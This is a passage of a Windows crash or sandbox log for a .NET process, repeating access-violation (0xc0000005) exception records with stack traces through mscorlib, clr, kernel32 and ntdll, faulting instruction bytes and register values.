LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 3b 42 04 0f 9e c0 0f b6 c0 89 45 cc 83 7d cc 00
exception.instruction: cmp eax, dword ptr [edx + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634eae4
registers.esp: 119138552
registers.edi: 119138724
registers.eax: 0
registers.ebp: 119138740
registers.edx: 0
registers.ebx: 39338560
registers.esi: 159766620
registers.ecx: 159766620
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x751907
0x63423fa
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138712
registers.edi: 119139164
registers.eax: 0
registers.ebp: 119138720
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139112
registers.ecx: 159766620
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x751907
0x63423fa
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138712
registers.edi: 119139164
registers.eax: 0
registers.ebp: 119138720
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139112
registers.ecx: 160372600
1 0 0

__exception__

 stacktrace: 
0x7518f0
0x63423fa
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 3b 42 04 0f 9e c0 0f b6 c0 89 45 cc 83 7d cc 00
exception.instruction: cmp eax, dword ptr [edx + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634eae4
registers.esp: 119138552
registers.edi: 119138724
registers.eax: 0
registers.ebp: 119138740
registers.edx: 0
registers.ebx: 39338560
registers.esi: 157559624
registers.ecx: 157559624
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x751907
0x63423fa
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138712
registers.edi: 119139164
registers.eax: 0
registers.ebp: 119138720
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139112
registers.ecx: 157559624
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x7535e1
0x634258e
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138724
registers.edi: 119139160
registers.eax: 0
registers.ebp: 119138732
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139104
registers.ecx: 159653020
1 0 0

__exception__

 stacktrace: 
0x7535ca
0x634258e
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 3b 42 04 0f 9e c0 0f b6 c0 89 45 cc 83 7d cc 00
exception.instruction: cmp eax, dword ptr [edx + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634eae4
registers.esp: 119138564
registers.edi: 119138736
registers.eax: 0
registers.ebp: 119138752
registers.edx: 0
registers.ebx: 39338560
registers.esi: 160261148
registers.ecx: 160261148
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x7535e1
0x634258e
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138724
registers.edi: 119139160
registers.eax: 0
registers.ebp: 119138732
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139104
registers.ecx: 160261148
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x7535e1
0x634258e
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138724
registers.edi: 119139160
registers.eax: 0
registers.ebp: 119138732
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139104
registers.ecx: 160922336
1 0 0

__exception__

 stacktrace: 
0x7535ca
0x634258e
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 3b 42 04 0f 9e c0 0f b6 c0 89 45 cc 83 7d cc 00
exception.instruction: cmp eax, dword ptr [edx + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634eae4
registers.esp: 119138564
registers.edi: 119138736
registers.eax: 0
registers.ebp: 119138752
registers.edx: 0
registers.ebx: 39338560
registers.esi: 161604528
registers.ecx: 161604528
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x7535e1
0x634258e
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138724
registers.edi: 119139160
registers.eax: 0
registers.ebp: 119138732
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139104
registers.ecx: 161604528
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x754c37
0x6342746
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138712
registers.edi: 119139164
registers.eax: 0
registers.ebp: 119138720
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139112
registers.ecx: 160253636
1 0 0

__exception__

 stacktrace: 
0x754c20
0x6342746
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 3b 42 04 0f 9e c0 0f b6 c0 89 45 cc 83 7d cc 00
exception.instruction: cmp eax, dword ptr [edx + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634eae4
registers.esp: 119138552
registers.edi: 119138724
registers.eax: 0
registers.ebp: 119138740
registers.edx: 0
registers.ebx: 39338560
registers.esi: 160863900
registers.ecx: 160863900
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x754c37
0x6342746
mscorlib+0x34b4fd @ 0x6efcb4fd
